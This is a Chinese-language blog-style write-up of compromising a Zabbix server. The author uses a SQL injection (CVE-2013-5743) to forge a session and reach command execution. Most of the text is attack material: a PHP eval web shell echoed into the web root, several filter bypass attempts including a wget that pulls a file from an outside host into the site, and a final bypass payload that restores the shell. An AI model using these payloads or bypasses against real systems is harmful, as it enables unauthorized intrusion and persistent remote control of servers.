今天折腾了一天zabbix的getshell终于结束。我就来和大家说说其中技巧。首先通过zabbix 的sql漏洞获取到session,然后伪造session进行登录。

Zabbix SQL Injection/RCE – CVE-2013-5743

然后就命令执行的啦。你们都懂在哪,我不再累赘,查了一下基本信息。双网卡。外网。哎。。首先通过find命令找到zabbix的web目录

find / -name "scripts.php"   

找到路径为:

/data/www/zabbix/scripts.php

然后就通过echo getshell啦。这里就是折腾的开始了。首先是

echo "<?php @eval($_POST['x']); ?>" > /data/www/zabbix/2.php

成功了。然后菜刀去连接。(别问我为啥不用cat。我一时没想到)

215454yrapapp0l76j73p7.png

WTF?! 500错误? 于是继续尝试了几次。结果还是这样。然后找了松牛问问了。

215453m0sck3eq3yayff0a.png
215452jtwz9awrj99vwmqm.png

然后我回头cat了一下。。我操啊。我的$_POST去哪了!

215454ov48998v8llld9m2.png

然后试了各种绕过。

<?php @eval($/**/_P/**/O/**/S/**/T['x']); ?>  
<?php file_put_contents("sss","xx")?>
<?php asssert($_POST['X'])?>
wget http://www.ssss.com/t.txt -o /data/www/zabbix/2.php

以上均无效。好像只要是php都会被过滤掉($a,$_GET等等)。然后一次意外的fuzz看到了希望。

<?php "2222" ?> 

写上去之后再cat一下。咦~2222怎么不见了。原来他把""双引号里面的东西都过滤掉了包括双引号。然后就想了想。如果我把它变成这样的话。不就可以了

poc:<?php @eval($"$"_POST['x']); ?> 

理论上是首先系统会过滤$_GET等变量。我现在在$后面加个"$"也就破坏了第一个过滤的特性,第二个过滤的特性就是双引号里面的东西包括双引号都会被过滤,所以就会变成

<?php @eval($_POST['x']); ?>

ok。有了思路马上测试
215453nyygaspbg3bbgthp.png
215455evvve2v3vzawvc2w.png
215454nbabqdnzyyqbedyp.png
成功Getshll

然后我又测试了几遍。貌似双引号里面的字符要和前面的字符要一致。不然还是会绕过失败

eg:<?php @eval($"$"_POST['x']); ?> <?php @eval($_"_"POST['x']); ?> 

等等